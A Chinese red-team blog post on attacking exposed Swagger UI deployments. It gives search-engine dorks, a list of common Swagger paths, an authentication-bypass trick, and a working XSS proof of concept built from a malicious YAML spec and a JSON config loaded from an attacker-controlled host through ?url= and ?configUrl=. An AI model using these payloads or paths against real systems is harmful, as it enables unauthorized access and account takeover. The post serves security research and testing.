点击蓝字 · 关注我们
日期:2023-03-10
作者:L-Center
介绍:swagger
0x00 什么是Swagger
Swagger
是一个规范和完整的框架,用于生成、描述、调用和可视化RESTful
风格的Web
服务。
总体目标是使客户端和文件系统作为服务器以同样的速度来更新。
参数和模型紧密集成到服务器端的代码,允许API
来始终保持同步。
0x01 安全问题
swagger-ui
会根据我们在代码中的设置来自动生成Api
说明文档,若存在相关的配置缺陷的话,可能会存在信息泄漏问题。
当然攻击者可以利用未授权翻查Swagger
接口文档,得到系统功能API
接口的详细参数,再构造参数发包,通过回显获取系统大量的敏感信息。
1.1 未授权访问
如何找到Swagger UI
搜索引擎搜索:intext:"Swagger UI" intitle:"Swagger UI" site:xxx.com
FOFA
搜索语句:title="Swagger UI"
通过访问swagger
路径来进行访问:
也可以访问swagger.json
获取json
格式的接口文档。
1.2 常见路径
/v2/api-docs
/swagger-ui.html
/swagger
/api/swagger
/Swagger/ui/index
/api/swaggerui
/swagger/ui
/api/swagger/ui
/api/swagger-ui.html
/user/swagger-ui.html
/libs/swaggerui
/swagger/index.html
/swagger-resources/configuration/ui
/swagger-resources/configuration/security
/api.html
/druid/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/template/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
/swagger/v1/swagger.json
/swagger/v2/swagger.json
/api-docs
/api/doc
/docs/
/doc.html
/v1/api-docs
/v3/api-docs
1.3 延伸漏洞
认证绕过:
url
后面加/v1/api-docs
或者/v2/api-docs
,绕过了认证。
文件上传漏洞:
文件上传接口大部分均为纯接口形式上传文件,不存在前端校验,可直接上传相应测试脚本文件进行安全测试。
用户信息泄露、添加用户、密码重置等漏洞:
也包括一些配置信息的泄露,如数据库账号密码配置等。
根据参数类型构造参数。
XSS
跨站脚本攻击:
受影响的版本:>=3.14.1 < 3.38.0
需要在vps
上配置两个文件yaml
和json
poc
:
yaml
文件配置:
swagger: '2.0'
info:
title: Example yaml.spec
description: |
<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title="</textarea><img src='#' οnerrοr='alert(document.head)'>">
paths:
/accounts:
get:
responses:
'200':
description: No response was specified
tags:
- accounts
operationId: findAccounts
summary: Finds all accounts
json
文件配置:
{
"url": "http://IP/test.yaml",
"urls": [
{
"url": "http://IP/test.yaml",
"name": "Foo"
}
]
}
漏洞利用:
?url=http://vps/test.yaml
?configUrl=http://vps/test.json
嫌配置复杂的话可以使用:?configUrl=https://jumpy-floor.surge.sh/test.json
1.4 自动化测试
1、swagger-scan:
https://github.com/godzeo/swagger-scan
主要是对在测试中常见的swagger
页面泄露,进行批量的测试。
自动爬取所有接口,配置好传参发包访问。
可以代理到Xray
或者sqlmap
被动扫描。
流程:
抓取html
页面,利用chromedriver
去解析。
找到具体存放数据的json
文件。
数据进行解析,构造请求包,获取响应。
记录发包、参数、加入被动的漏洞扫描。
python findJson.py (自动把url.txt的地址批量找到json文件)
python swagger.py -u http://www.baidu.com/openapi.json python swagger.py -f /xxxx/xxx/targert.txt
2、swagger-exp:
https://github.com/lijiejie/swagger-exp
遍历所有API
接口,自动填充参数
尝试GET/POST
所有接口,返回Response Code
/Content-Type
/Content-Length
,用于分析接口是否可以未授权访问利用。
分析接口是否存在敏感参数,例如url
参数,容易引入外网的SSRF
漏洞。
检测API
认证绕过漏洞。
0x02 总结
参考文章:
https://www.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers/#reference
Swagger
的XSS
漏洞在Jamf
和Gitlab
上都存在。免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
原文始发于微信公众号(宸极实验室):『红蓝对抗』Swagger UI
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论